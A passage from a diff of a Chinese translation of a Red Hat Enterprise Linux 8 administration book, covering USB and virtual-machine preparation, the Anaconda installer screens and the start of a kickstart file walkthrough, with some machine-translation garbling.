(RHEL 基于的社区发行版,并且是许多工程师和开发人员的工作站)中,可以使用**Fedora Media Writer**工具。 对于其他环境,**UNetbootin**工具也可以用于创建引导介质。** - - **现在,有了 USBu 盘,我们可以安装任何物理机器,从小型笔记本电脑到大型服务器。 下一部分涉及从**USB u 盘**引导物理机器。 这样做的机制将取决于所使用的服务器。 然而,在启动过程中提供选择启动设备的选项正变得越来越普遍。 下面以选择笔记本电脑的临时启动设备为例: - -1. Interrupt the normal startup. In this case, the boot process shows that I can do that by pressing *Enter*: - - ![Figure 1.7 – Example of a BIOS message to interrupt normal startup ](img/B16799_01_007.jpg) - - 图 1.7 -中断正常启动的 BIOS 消息示例 - -2. Choose a temporary start up device, in this case by pressing the *F12* key: - - ![Figure 1.8 – Example of a BIOS menu for interrupted startup ](img/B16799_01_008.jpg) - - 图 1.8 -中断启动的 BIOS 菜单示例 - -3. 选择要从其中引导的设备。 我们想要从 u 盘引导,在本例中,u 盘是**USB 硬盘:ChipsBnk 闪存盘**: - -![Figure 1.9 – Example of a BIOS menu to choose the USB HDD boot device ](img/B16799_01_009.jpg) - -图 1.9 - BIOS 菜单中选择 USB 硬盘启动设备的示例 - -让系统从 USB 驱动器启动安装程序。 - -一旦我们知道了如何使用 RHEL 安装程序准备 USB 驱动器,以及如何使物理机从它启动,我们就可以跳到本章的*运行 RHEL 安装*一节,然后进行安装。 如果我们有一台迷你服务器(换句话说,一台英特尔 NUC)、一台旧电脑或一台笔记本电脑,那么这将非常有用。 - -接下来,我们将看看如何在您的安装中准备一个虚拟机,以防您正在考虑使用当前的主膝上型电脑(或工作站)执行本书,但您仍然希望保留一个单独的机器来工作。 - -## 虚拟服务器安装准备 - -虚拟服务器**的工作原理与在当前系统中模拟真实机器的虚拟化软件类似。 在 Linux 工作站安装`virt-manager`将增加所有底层的组件需要运行(对于您的信息,这些**【显示】组件 KVM**,**Libvirt【病人】,**Qemu**,**virsh【t16.1】,在)。 其他免费虚拟化软件,推荐用于 Windows 或 macOS 系统,包括**Oracle VirtualBox**和**VMware Workstation Player**。****** - -本节中的示例将使用`virt-manager`执行,但很容易适用于任何其他虚拟化软件,无论是笔记本电脑还是大型部署。 - -初步步骤已经在上面描述过,并且需要获得**Red Hat Enterprise Linux ISO**映像,在本例中,该映像将是`rhel-8.3-x86_64-dvd.iso`。 下载完成后,如果可能,检查了它的完整性(如*获取 RHEL 软件和订阅*一节的最后一个技巧中提到的),让我们准备部署一个虚拟机: - -1. Start your virtualization software, in this case, `virt-manager`: - - ![Figure 1.10 – The virtual manager main menu ](img/B16799_01_010.jpg) - - 图 1.10 -虚拟管理器主菜单 - -2. Create a new virtual machine by going to **File** and then clicking on **New Virtual Machine**. Select **Local install media (ISO Image or CDROM)**: - - ![Figure 1.11 – Virtual manager – New VM menu ](img/B16799_01_011.jpg) - - 图 1.11 -虚拟管理器-新虚拟机菜单 - -3. Select the *ISO image*. With this, the virtual machine will be configured with a **virtual DVD/CDROM drive** and already prepared to boot from it. This is customary behavior. However, when using a different virtualization software, you may want to perform a check: - - ![Figure 1.12 – The virtual manager menu to select an ISO image as an installation medium ](img/B16799_01_012.jpg) - - 图 1.12 -选择 ISO 镜像作为安装介质的虚拟管理器菜单 - -4. Assign memory and CPU to the virtual machine we are creating (note: a virtual machine is usually referred to as a **VM**). For **Red Hat Enterprise Linux 8** (also referred to as **RHEL8**), 1.5 GB of memory is the minimum, while 1.5 GB per logical CPU is recommended. We will use the minimum settings (1.5 GB memory, 1 CPU core): - - ![Figure 1.13 – The virtual manager menu for selecting memory and CPU ](img/B16799_01_013.jpg) - - 图 1.13 -选择内存和 CPU 的虚拟管理器菜单 - - 是时候分配至少一个磁盘给虚拟机了。 在这种情况下,我们将分配一个磁盘的最小磁盘空间,10gb,但在未来的章节中,我们将能够分配更多的磁盘来测试其他功能: - - ![Figure 1.14 – The virtual manager menu to create a new disk and add it to the virtual machine ](img/B16799_01_014.jpg) - - 图 1.14 -创建新磁盘并将其添加到虚拟机的虚拟管理器菜单 - -5. 我们的虚拟机器拥有启动所需要的一切:启动设备、内存、CPU 和磁盘空间。 在最后一步中,添加了一个网络接口,所以现在我们甚至有了一个网络。 让我们回顾一下数据并启动它: - -![Figure 1.15 – The virtual manager menu for selecting the name of the virtual machine and the network ](img/B16799_01_015.jpg) - -图 1.15 -用于选择虚拟机和网络名称的虚拟管理器菜单 - -在执行这些步骤之后,我们就有了一个功能齐全的虚拟机。 现在是时候通过在其上安装 RHEL 操作系统来完成这个过程了。 在下一节中检查如何做到这一点。 - -## 运行 RHEL 安装 - -一旦我们准备好了要安装的虚拟服务器或物理服务器,就可以继续了。 如果我们到达下面的屏幕,我们将知道前面的所有步骤是否正确执行: - -![Figure 1.16 – Initial boot screen for RHEL8 installation with Install selected ](img/B16799_01_016.jpg) - -图 1.16 - RHEL8 安装的初始引导屏幕,选择 Install - -我们有三个选项(*选择白色*): - -* **Install Red Hat Enterprise Linux 8.3**:该选项将引导并运行安装程序。 -* **Test this media&install Red Hat Enterprise Linux 8.3**:该选项将检查正在使用的映像,以确保它没有损坏,并确保安装能够顺利进行。 建议首次使用刚下载的 ISO 镜像或刚创建的媒体,如 u 盘或 DVD(在虚拟机中,运行检查大约需要 1 分钟)。 -* **Troubleshooting**: This option will help you review other options in case there are problems with installation, with a running system, or with hardware. Let's take a quick look at the available options on this menu: - - -**在基本图形模式下安装 Red Hat Enterprise Linux 8.3**:这个选项对于使用旧显卡和/或不支持显卡的系统是有用的。 在发现可视化问题时,它可以帮助安装系统。 - - -**Rescue a Red Hat Enterprise Linux system**:当我们有一个系统启动问题或者当我们想要访问它来内省它(换句话说,检查一个可能被破坏的系统)时,这个选项可以使用。 它将启动一个基本的内存系统来执行这些任务。 - - ——**运行内存测试**:可以检查,以防止系统内存问题,在一个全新的服务器的情况下,例如,我们希望确保其内存运行正确,或一个系统遭受问题和恐慌,可能表明一个与内存相关的问题。 - - -**从本地驱动器启动**:如果你从安装介质启动,但你已经安装了一个系统。 - - -**返回主菜单**:返回上一个菜单。 - - 重要提示 - - RHEL 引导菜单将显示几个选项。 选中的文件将显示为白色,带有一个不同颜色的字母,在本例中,“i”代表安装,“m”代表测试媒体。 这些都是快捷方式。 按下这个键,我们就可以直接找到这个菜单项。 - -让我们继续用**测试这个介质&安装 Red Hat Enterprise Linux 8.3**,让安装程序检查我们正在使用的 ISO 映像: - -![Figure 1.17 – RHEL8 ISO image self-check ](img/B16799_01_017.jpg) - -图 1.17 - RHEL8 ISO 镜像自检 - -完成后,将到达第一个安装画面。 安装程序名为,名为**Anaconda**(一个笑话,因为它是用**Python**语言编写的,而且遵循循序渐进的方法)。 重要的是要注意我们将在安装过程中选择的选项,因为我们将在本书后面的*使用 Anaconda*自动化部署部分回顾它们。 - -### 本地化 - -安装的第一步是选择安装语言。 本次安装,我们将选择**英语**,其次是**英语(美国)**: - -![Figure 1.18 – RHEL8 install menu – Language ](img/B16799_01_018.jpg) - -图 1.18 - RHEL8 安装菜单-语言 - -如果你不能很容易找到你的语言,你可以在列表下的框中输入它来搜索它。 选择语言后,可以点击**Continue**button 继续。 这将带我们进入**安装摘要**屏幕: - -![Figure 1.19 – RHEL8 install menu – Main page ](img/B16799_01_019.jpg) - -图 1.19 - RHEL8 安装菜单-主界面 - -在**INSTALLATION SUMMARY**屏幕上,显示了所需的所有配置部分,其中许多部分(下面没有警告标志和红色文本的部分)已经预先配置为默认值。 - -让我们回顾一下**本地化**设置。 一、**键盘**: - -![Figure 1.20 – RHEL8 install – The Keyboard selection icon ](img/B16799_01_020.jpg) - -图 1.20 - RHEL8 安装-键盘选择图标 - -我们可以查看键盘设置,这不仅可以改变键盘,还可以添加额外的布局,以防我们想要在它们之间切换: - -![Figure 1.21 – RHEL8 install – Keyboard selection dialog ](img/B16799_01_021.jpg) - -图 1.21 - RHEL8 安装-键盘选择对话框 - -这可以通过点击**+**按钮来完成。 下面是一个添加**西班牙语的例子; Castilian(西班牙语)**布局。 我们搜索`spa`,直到它出现,然后选择它,然后点击**添加**,如下: - -![Figure 1.22 – RHEL8 install – Keyboard selection list ](img/B16799_01_022.jpg) - -图 1.22 - RHEL8 安装-键盘选择列表 - -要使其成为默认的选项,需要点击下面的**^**按钮。 在本例中,我们将把它作为第二个选项,以便安装支持软件。 完成后,点击**完成**: - -![Figure 1.23 – RHEL8 install – Keyboard selection dialog with different keyboards ](img/B16799_01_023.jpg) - -图 1.23 - RHEL8 安装-不同键盘的键盘选择对话框 - -现在,我们将把移到**语言支持**: - -![Figure 1.24 – RHEL8 install – Language selection icon ](img/B16799_01_024.jpg) - -图 1.24 - RHEL8 安装-语言选择图标 - -在这里,我们还可以添加我们的本地语言。 在本例中,我将使用**Español**,然后使用**Español (España)**。 这将再次包括支持已添加的语言所需的软件: - -![Figure 1.25 – RHEL8 install – Language selection dialog with different languages ](img/B16799_01_025.jpg) - -图 1.25 - RHEL8 安装-不同语言的语言选择对话框 - -我们将继续配置这两种语言,尽管您可能希望选择自己的本地化语言。 - -现在,我们将继续**时间&日期**,可以看到如下: - -![Figure 1.26 – RHEL8 install – Time and Date selection icon ](img/B16799_01_026.jpg) - -图 1.26 - RHEL8 安装-时间和日期选择图标 - -默认配置设置为美国的纽约市。 这里有两种可能性: - -* 使用你当地的时区。 当您希望在该时区注册所有日志时(换句话说,因为您只在一个时区工作,或者因为每个时区都有本地团队),建议这样做。 在这个例子中,我们正在选择**西班牙、马德里、欧洲**时区: - -![Figure 1.27 – RHEL8 install – Time and Date selection dialog – Madrid selected ](img/B16799_01_027.jpg) - -图 1.27 - RHEL8 安装-时间和日期选择对话框-马德里选中 - -* 使用**协调世界时**(也称为**UTC**)使全球所有服务器拥有相同的时区。 **Region:**|**Etc**,然后**City:**|**Coordinated Universal Time**: - -![Figure 1.28 – RHEL8 install – Time and Date selection dialog – UTC selected ](img/B16799_01_028.jpg) - -图 1.28 - RHEL8 安装-时间和日期选择对话框- UTC 选择 - -我们将继续使用西班牙、马德里和欧洲的本地化时间,尽管您可能希望选择本地化时区。 - -提示 - -正如您在屏幕上看到的,有一个选项可以选择**Network Time**以使机器的时钟与其他机器同步。 该选项只能在网络配置完成后选择。 - -### 软件 - -**定位**配置完成(或接近完成; 稍后我们可能会回到网络时间),我们继续到**软件**部分,或者,更准确地说,到它下面的**连接到 Red Hat**: - -![Figure 1.29 – RHEL8 install – Connect to Red Hat selection icon ](img/B16799_01_029.jpg) - -图 1.29 - RHEL8 install - Connect to Red Hat 选择图标 - -在本节中,我们可以使用自己的 Red Hat 帐户,就像我们之前在[developers.redhat.com](http://developers.redhat.com)下创建的帐户一样,来访问系统的最新更新。 要配置它,我们首先需要配置网络。 - -出于此部署的目的,我们现在不配置此部分。 我们将在本书第七章[](07.html#_idTextAnchor111)*、*添加、打补丁和管理软件*中回顾如何管理订阅和获取更新。* - - *重要提示 - -使用 Red Hat 卫星进行系统管理:对于超过 100 台服务器的大型部署,Red Hat 提供了“Red Hat 卫星”,它具有高级的软件管理功能(例如版本化内容视图、使用 OpenSCAP 的集中安全扫描以及简化的 RHEL 补丁和更新)。 为了连接到红帽卫星,可以使用激活密钥,从而简化系统的管理。 - -现在让我们继续**安装源**,如下所示: - -![Figure 1.30 – RHEL8 install – Installation Source icon ](img/B16799_01_030.jpg) - -图 1.30 - RHEL8 install -安装源图标 - -这可以用于使用远程源进行安装。 当使用只包含安装程序的引导 ISO 映像时,它非常有用。 在本例中,由于我们使用完整的 ISO 映像,它已经包含完成安装所需的所有软件(也称为*包*)。 - -下一步是**Software Selection**,如下截图所示: - -![Figure 1.31 – RHEL8 install – Software Selection icon ](img/B16799_01_031.jpg) - -图 1.31 - RHEL8 安装-软件选择图标 - -在这个步骤中,我们可以选择要安装在系统上的一组预定义的包,这样系统就可以执行不同的任务。 虽然在这个阶段这样做非常方便,但我们将采用一种更手动的方法,并选择**Minimal Install**配置文件稍后向系统添加软件。 - -这种方法还具有减少**攻击面**的优势,只需在系统中安装最小的包: - -![Figure 1.32 – RHEL8 install – Software Selection menu; Minimal Install selected ](img/B16799_01_032.jpg) - -图 1.32 - RHEL8 install - Software Selection menu; 选择最小的安装 - -### 系统 - -选择了包集之后,让我们转到**System**配置部分。 我们将从安装的目的地开始,在那里我们可以选择一个或多个磁盘用于安装和配置它们: - -![Figure 1.33 – RHEL8 install – Installation Destination icon with a warning sign as this step is not complete ](img/B16799_01_033.jpg) - -图 1.33 - RHEL8 install -安装目标图标带有警告标志,表示此步骤未完成 - -这项任务非常重要,因为它不仅将定义系统在磁盘上的部署方式,而且还将定义如何分布磁盘以及使用哪些工具。 即使在本节中,我们也不会使用高级选项。 我们将花一些时间来审查主要选项。 - -这是默认的**Device Selection**屏幕,只发现一个本地标准磁盘,没有**Specialized&Network Disks**选项,准备运行**自动**分区。 这可以从下面的截图中看到: - -![Figure 1.34 – RHEL8 install – INSTALLATION DESTINATION menu, with automatic partitioning selected ](img/B16799_01_034.jpg) - -图 1.34 - RHEL8 install - INSTALLATION DESTINATION 菜单,选择了自动分区 - -单击本部分中的**Done**将完成继续安装所需的最小数据集。 - -让我们回顾一下这些部分。 - -**本地标准磁盘**是安装程序使用的一组磁盘。 它可能是这样的情况,我们有几个磁盘,我们只想使用一个特定的磁盘: - -![Figure 1.35 – RHEL8 install – INSTALLATION DESTINATION menu, with several local disks selected ](img/B16799_01_035.jpg) - -图 1.35 - RHEL8 install - INSTALLATION DESTINATION 菜单,选择了几个本地磁盘 - -这是一个有三个可用磁盘且只使用第一个和第三个磁盘的示例。 - -在我们的例子中,我们只有一个磁盘,并且它已经被选中: - -![Figure 1.36 – RHEL8 install – INSTALLATION DESTINATION menu, with a single local disk selected ](img/B16799_01_036.jpg) - -图 1.36 - RHEL8 install - INSTALLATION DESTINATION 菜单,选择单个本地磁盘 - -通过选择**Encrypt my data**,可以很容易地使用全磁盘加密,对于笔记本电脑安装或安装在信任级别较低的环境中,强烈建议使用: - -![Figure 1.37 – RHEL8 install – INSTALLATION DESTINATION menu, with the data encryption option (not selected) ](img/B16799_01_037.jpg) - -图 1.37 - RHEL8 install - INSTALLATION DESTINATION 菜单,带有数据加密选项(未选中) - -对于本例,我们将不加密驱动器。 - -**自动**安装选项将自动分配磁盘空间: - -![Figure 1.38 – RHEL8 install – INSTALLATION DESTINATION menu; Storage Configuration (Automatic) ](img/B16799_01_038.jpg) - -图 1.38 - RHEL8 install - INSTALLATION DESTINATION 菜单; 存储配置(自动) - -它将通过创建以下资源来实现这一点: - -* `/boot`:分配系统核心(`kernel`)的空间和引导过程中的帮助文件(例如初始引导映像`initrd`)。 -* `/boot/efi`:支持 EFI 引导进程的空间。 -* `/"`:根文件系统。 这是系统所在的主要存储空间。 其他磁盘/分区将分配给文件夹(这样做时,它们将被称为`mountpoints`)。 -* `/home`:用户将存储个人文件的空间。 - -让我们选择这个选项,然后单击**Done**。 - -提示 - -系统分区和引导过程:如果您仍然不能完全理解关于系统分区和引导过程的一些扩展概念,请不要担心。 为了介绍文件系统、分区以及如何管理磁盘空间,有一章专门介绍了*管理本地存储和文件系统*。 为了回顾引导过程,有一章题为*理解引导过程*,该章将逐步回顾整个系统的启动顺序。 - -下一步涉及查看**Kdump**或**Kernel Dump**。 这是一种机制,允许系统保存状态,以防发生关键事件并崩溃(它转储内存,因此它的名字): - -![Figure 1.39 – RHEL8 install – Kdump configuration icon ](img/B16799_01_039.jpg) - -图 1.39 - RHEL8 install - Kdump 配置图标 - -为了工作,它将为自己保留一些内存,等待在系统崩溃时采取行动。 默认配置很好地计算了需求: - -![Figure 1.40 – RHEL8 install – Kdump configuration menu ](img/B16799_01_040.jpg) - -图 1.40 - RHEL8 install - Kdump 配置菜单 - -点击**Done**将进入下一步**Network&Host Name**,显示如下: - -![Figure 1.41 – RHEL8 install – Network & Host Name configuration icon ](img/B16799_01_041.jpg) - -图 1.41 - RHEL8 install - Network & Host Name 配置图标 - -本节将帮助将系统连接到网络。 在虚拟机的情况下,对外部网络的访问将由**虚拟化软件**处理。 很常见,默认配置使用**网络地址转换**(**NAT)和【显示】**动态主机配置协议(DHCP**),这将提供一个网络配置【病人】虚拟机和访问外部网络。** - -进入配置页面后,我们可以看到有多少网络接口分配给了我们的机器。 在这种情况下,只有一个,如下所示: - -![Figure 1.42 – RHEL8 install – NETWORK & HOST NAME configuration menu ](img/B16799_01_042.jpg) - -图 1.42 - RHEL8 install - NETWORK & HOST NAME 配置菜单 - -首先,我们可以通过点击右边的**on /OFF**开关来启用接口。 要关闭它,它看起来是这样的: - -![Figure 1.43 – RHEL8 install – NETWORK & HOST NAME configuration toggle (OFF) ](img/B16799_01_043.jpg) - -图 1.43 - RHEL8 install - NETWORK & HOST NAME 配置开关(OFF) - -要打开它,它应该是这样的: - -![Figure 1.44 – RHEL8 install – NETWORK & HOST NAME configuration toggle (ON) ](img/B16799_01_044.jpg) - -图 1.44 - RHEL8 install - NETWORK & HOST NAME 配置开关(ON) - -我们将看到接口现在有一个配置(**IP 地址**、**默认路由**和**DNS**): - -![Figure 1.45 – RHEL8 install – NETWORK & HOST NAME configuration information details ](img/B16799_01_045.jpg) - -图 1.45 - RHEL8 install - NETWORK & HOST NAME 配置信息详细信息 - -为了使这个永久更改,我们将点击屏幕右下角的**配置**按钮来编辑界面配置: - -![Figure 1.46 – RHEL8 install – NETWORK & HOST NAME configuration; interface configuration; Ethernet tab ](img/B16799_01_046.jpg) - -图 1.46 - RHEL8 安装- NETWORK & HOST NAME 配置; 接口配置; 以太网选项卡 - -点击**General**标签将显示主要选项。 我们将选择**自动连接,优先级**,并保留值为**0**,如下所示: - -![Figure 1.47 – RHEL8 install – NETWORK & HOST NAME configuration; interface configuration; General tab ](img/B16799_01_047.jpg) - -图 1.47 - RHEL8 安装- NETWORK & HOST NAME 配置; 接口配置; General 选项卡 - -点击**Save**将使更改永久保存,并且在默认情况下启用此网络接口。 - -现在是时候给我们的虚拟服务器命名了。 我们将转到主页面的**主机名**部分,并键入我们想要的名称。 我们可以使用`rhel8.example.com`,然后点击**应用**: - -![Figure 1.48 – RHEL8 install – NETWORK & HOST NAME configuration; Host Name detail ](img/B16799_01_048.jpg) - -图 1.48 - RHEL8 安装- NETWORK & HOST NAME 配置; 主机名的细节 - -提示 - -域`example.com`用于演示目的,在任何场合使用它都是安全的,因为它不会碰撞或对其他系统或域造成任何麻烦。 - -网络页面看起来像这样: - -![Figure 1.49 – RHEL8 install – NETWORK & HOST NAME configuration menu; configuration complete ](img/B16799_01_049.jpg) - -图 1.49 - RHEL8 install - NETWORK & HOST NAME 配置菜单; 配置完成 - -点击**Done**将带我们回到主安装页面,系统已连接到网络,并准备在安装完成后进行连接。 - -标题为*启用网络连接*的章节将更详细地描述在 RHEL 系统中可用的配置网络的选项。 - -重要提示 - -现在系统连接到网络,我们可以回到**时间&日期**,使网络时间(由安装程序自动完成),以及去**连接 Red Hat**订阅系统 Red Hat 的**内容分发网络**(或**CDN)。 本系统对 CDN 的订阅将在[*第七章*](07.html#_idTextAnchor111)、*添加、补丁和管理软件*中详细说明。** - -现在是时候回顾最后一个系统选项,安全配置文件,通过转到**安全策略**,如下所示: - -![Figure 1.50 – RHEL8 install – Security Policy configuration icon ](img/B16799_01_050.jpg) - -图 1.50 - RHEL8 安装-安全策略配置图标 - -在它中,我们将看到在我们的系统中可以默认启用的安全配置文件列表: - -![Figure 1.51 – RHEL8 install – SECURITY POLICY configuration menu ](img/B16799_01_051.jpg) - -图 1.51 - RHEL8 install - SECURITY POLICY configuration 菜单 - -安全配置文件有我们在本安装中没有涉及的需求(例如拥有单独的`/var`或`/tmp`分区)。 我们可以点击**Apply security policy**将其关闭,然后点击**Done**: - -![Figure 1.52 – RHEL8 install – Security policy configuration toggle (off) ](img/B16799_01_052.jpg) - -图 1.52 - RHEL8 install -安全策略配置开关(关闭) - -关于这个主题的更多内容将在[*第 11 章*](11.html#_idTextAnchor152)*,OpenSCAP 的系统安全配置文件*中讨论。 - -### 用户设置 - -在 Unix 或 Linux 系统中,主要的管理员用户称为`root`。 - -我们可以通过单击**root Password**部分来启用一个根用户,尽管这不是必需的,而且在安全受限的环境中,建议您不要这样做。 我们将在本章中这样做,以便学习如何做到这一点,并解释涉及的案例: - -![Figure 1.53 – RHEL8 install – Root Password configuration icon (warning as it is not set) ](img/B16799_01_053.jpg) - -图 1.53 - RHEL8 install - Root 密码配置图标(警告,因为它没有设置) - -点击**Root 密码**,弹出对话框输入: - -![Figure 1.54 – RHEL8 install – Root Password configuration menu ](img/B16799_01_054.jpg) - -图 1.54 - RHEL8 install - Root Password configuration 菜单 - -建议设置如下密码: - -* 超过 10 个字符(最少 6 个字符) -* 大写和小写 -* 数字 -* 特殊字符(如$、@、%和&) - -如果密码不符合这些要求,它将警告我们,并将迫使我们点击**Done**两次以使用弱密码。 - -现在可以通过单击**user Creation**为系统创建一个用户: - -![Figure 1.55 – RHEL8 install – User Creation configuration icon (warning as it is not complete) ](img/B16799_01_055.jpg) - -图 1.55 - RHEL8 install - User Creation 配置图标(警告,因为它没有完成) - -这将把我们带到一个输入用户数据的部分: - -![Figure 1.56 – RHEL8 install – User Creation configuration menu ](img/B16799_01_056.jpg) - -图 1.56 - RHEL8 install - User Creation configuration 菜单 - -这里将应用与前一节中相同的密码规则。 - -单击**使此用户成为管理员**将启用管理任务的执行(而且也不需要配置`root`密码)。 - -提示 - -作为一种良好的实践,不要对根帐户和用户帐户使用相同的密码。 - -[*第 5 章*](05.html#_idTextAnchor081)*,使用用户、组和权限保护系统*中有一节介绍了如何使用`sudo`工具来管理用户的管理权限。 - -点击**Done**返回主安装程序界面。 安装程序已准备好继续安装。 主页看起来像这样: - -![Figure 1.57 – RHEL8 install – Main menu once completed ](img/B16799_01_057.jpg) - -图 1.57 - RHEL8 安装-主菜单一旦完成 - -点击**开始安装**上的将启动安装过程: - -重要提示 - -如果省略了启动安装所需的任何步骤,**开始安装**按钮将变为灰色,因此无法单击。 - -![Figure 1.58 – RHEL8 install – Installation in progress ](img/B16799_01_058.jpg) - -图 1.58 - RHEL8 安装-正在进行安装 - -一旦安装完成,我们可以点击**Reboot System**,它就可以使用了: - -![Figure 1.59 – RHEL8 install – Installation complete ](img/B16799_01_059.jpg) - -图 1.59 - RHEL8 安装-安装完成 - -记住从虚拟机卸载 ISO 映像(或从服务器移除 USB u 盘),并检查系统中的引导顺序是否配置正确,这一点很重要。 - -您的第一个 Red Hat Enterprise Linux 8 系统现在已经准备好了! 祝贺你。 - -如您所见,在虚拟机或物理机中安装 RHEL 并将其用于我们希望在其中运行的任何服务是很容易的。 在云中,这个过程是非常不同的,因为机器是由映像实例化来运行的。 在下一章中,我们将回顾如何在云中的虚拟机实例中运行 RHEL。 - -# 总结 - -*Red Hat Certified System Administrator*考试是完全实用的,基于真实世界的经验。 准备它的最好方法是尽可能多地实践,这就是为什么本书首先提供了对 Red Hat Enterprise Linux 8(RHEL8)的访问,并提供了如何部署自己的虚拟机的替代方案。 - -关于安装,我们讨论了不同的场景。 这些是最常见的,包括使用物理机、虚拟机或云实例。 在本章中,我们主要讨论使用虚拟机或物理机。 - -在使用物理硬件时,我们将关注这样一个事实:许多人喜欢重用旧硬件,购买二手或廉价的迷你服务器,甚至使用笔记本电脑作为他们的 Linux 体验的主要安装。 - -在虚拟机的情况下,我们考虑的是那些希望将所有工作都放在同一台笔记本电脑上,但又不想打乱他们当前的操作系统(甚至可能不是 Linux)的人。 通过在您自己的迷你服务器上拥有虚拟机,这也可以很好地与前面的选项一起工作。 - -读完本章后,您就可以继续阅读本书的其余部分了,至少有一个实例或 Red Hat Enterprise Linux 8 可供您使用和练习。 - -在下一章中,我们将回顾一些高级选项,例如为 RHEL 实例使用云、自动化安装和最佳实践。 - -让我们开始吧!**** \ No newline at end of file diff --git a/docs/rhel8-admin/02.md b/docs/rhel8-admin/02.md deleted file mode 100644 index f2fb61c4..00000000 --- a/docs/rhel8-admin/02.md +++ /dev/null @@ -1,446 +0,0 @@ -# 二、RHEL8 高级安装选项 - -在前一章中,我们学习了如何在物理或虚拟机上安装**Red Hat Enterprise Linux**或**RHEL**,以便我们在阅读本书时使用它。 在本章中,我们将回顾如何在云中使用 RHEL*实例,以及这样做时出现的主要区别。* - -您还将不仅了解如何部署系统,还将了解进行部署的最佳选择,并能够以*自动化方式*执行部署。 - -为了完成安装,包含了关于*最佳实践*的一节,这样您就可以从第一天开始避免长期问题。 - -以下是本章将涉及的主题: - -* 使用 Anaconda 自动化 RHEL 部署 -* 在云中部署 RHEL -* 安装的最佳实践 - -# 技术要求 - -在本章中,我们将回顾使用**Anaconda**的自动化安装过程。 为此,您将需要使用我们在前一章中创建的*RHEL8 部署*。 - -我们还将创建云实例,为此您需要在您选择的云环境中创建一个帐户。 我们将使用**谷歌云平台**。 - -# 使用 Anaconda 实现 RHEL 的自动化部署 - -一旦您在本地完成了 RHEL 的第一次部署,您就可以在计算机上以 root 身份登录,并列出`root`用户在其文件夹中的文件: - -```sh -[root@rhel8 ~]# ls /root/ -anaconda-ks.cfg -``` - -您将找到`anaconda-ks.cfg`文件。 这是一个重要的文件,名为`kickstart`,它包含在安装过程中给安装程序**Anaconda**的响应。 让我们回顾一下这个文件的内容。 - -重要提示 - -在云映像中,没有`anaconda-ks.cfg`文件。 - -这个文件可以被重用来安装其他系统,这些系统的选项与我们在本次安装中使用的选项相同。 让我们回顾一下在前面的安装过程中添加的选项。 - -以和`#`开头的行是注释,对安装过程没有影响。 - -指定正在使用的版本的注释如下: - -```sh -#version=RHEL8 -``` - -然后,执行一种类型的安装。 它可以是`graphical`或`text`(对于无头系统,通常使用第二个): - -```sh -# Use graphical install -graphical -``` - -安装应用包或其他包的软件源通过`repo`项指定。 当我们使用 ISO 映像时,它就像一个*CDROM*一样被访问(挂载,用 Linux 的说法): - -```sh -repo --name="AppStream" --baseurl=file:///run/install/sources/mount-0000-cdrom/AppStream -``` - -section 是用`%`符号指定的。 在本例中,我们将进入带有要安装包列表的`packages`部分,并使用`%end`特殊标记关闭它们。 有两种选择:一组包,被定义为从`@^`符号(在这种情况下,`minimal-environment`)和一个包的名称不需要任何前缀(在这种情况下,包是`kexec-tools`,`kdump`负责安装能力我们先前解释): - -```sh -%packages -@^minimal-environment -kexec-tools -%end -``` - -我们继续单击没有节的选项。 在这种情况下,我们有键盘布局和系统语言支持。 如你所见,我们添加了*英语键盘*(标记为`us`)和*西班牙语键盘*、*西班牙语键盘*一个(标记为`es`): - -```sh -# Keyboard layouts -keyboard --xlayouts='us','es' -``` - -对于系统语言,我们还添加了英语 USAmerican(`en_US`)和西班牙语、西班牙语(`es_ES)`)。 在操作系统中有几种管理、存储和表示文本的方法。 目前最常见的是`UTF-8`,它使我们能够在一个单一标准下拥有多个字符集。 这就是为什么系统语言会附加`.UTF-8`: - -```sh -# System language -lang en_US.UTF-8 --addsupport=es_ES.UTF-8 -``` - -提示 - -**Unicode(或通用编码字符集)转换格式- 8 位**,简称 utf - 8 字符编码,扩展了以往的功能以支持中国,斯拉夫字母或阿拉伯语(和其他很多)在同一文本(比如一个代表一个 web 页面或一个控制台)。 UTF-8 于 1993 年提出,全球 95.9%的网页使用 UTF-8。 以前的字符集只支持美国英语或拉丁字符,如 1963 年发布的**美国信息交换标准码**或**ASCII**。 要了解更多关于字符编码及其演变的信息,请查阅维基百科关于 UTF-8 和 ASCII 的页面。 - -现在,该配置网络接口了。 在本例中,我们只有一个,名为`enp1s0`。 配置使用 IPv4,**动态主机配置协议**(**DHCP**)和 IPv6,两者在启动时都是激活的。 主机名配置为`rhel8.example.com`: - -```sh -# Network information -network --bootproto=dhcp --device=enp1s0 --ipv6=auto --activate -network --hostname=rhel8.example.com -``` - -现在,我们需要定义安装媒体。 在这种情况下,我们使用了一个模拟的 CDROM/DVD,使用的是我们下载的 ISO 镜像文件: - -```sh -# Use CDROM installation media -cdrom -``` - -`firstboot`的选项默认为启用。 在这种情况下,由于安装没有包含*图形界面*,因此不会运行它,而是将其添加到`kickstart`文件中。 我们可以安全地移除它,像这样: - -```sh -# Run the Setup Agent on first boot -firstboot --enable -``` - -现在,让我们配置磁盘。 首先,为了安全起见,我们将指示安装程序忽略除目标磁盘外的所有磁盘; 本例中`vda`: - -```sh -ignoredisk --only-use=vda -``` - -重要提示 - -根据运行的平台不同,磁盘的名称也会有所不同。 通常是`vda`、`xda`或`sda`。 在本例中,我们展示了由安装程序 Anaconda 定义的`vda`磁盘,就像我们在前一章中使用的那样。 - -现在,我们必须安装引导加载程序来启动系统。 我们将在**主引导记录**或**MBR 的主要磁盘,`vda`,我们将指导使用`crashkernel`选项,使`kdump`机制(这个转储内存系统崩溃的情况下):** - -```sh -# System bootloader configuration -bootloader --append="crashkernel=auto" --location=mbr --boot-drive=vda -``` - -现在,我们必须对磁盘进行分区。 在这种情况下,这将是完全自动化的: - -```sh -autopart -``` - -系统使用的空间必须声明。 对于这个例子,我们将清除整个磁盘: - -```sh -# Partition clearing information -clearpart --none --initlabel -``` - -让我们把时区设置为欧洲马德里: - -```sh -# System timezone -timezone Europe/Madrid --isUtc -``` - -现在,我们将设置根密码,并创建一个用户(注意,为了安全起见,加密的密码已被编校): - -```sh -# Root password -rootpw --iscrypted $xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx -user --groups=wheel --name=user --password=$xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx --iscrypted --gecos="user" -``` - -提示 - -前一章中生成的 Anaconda 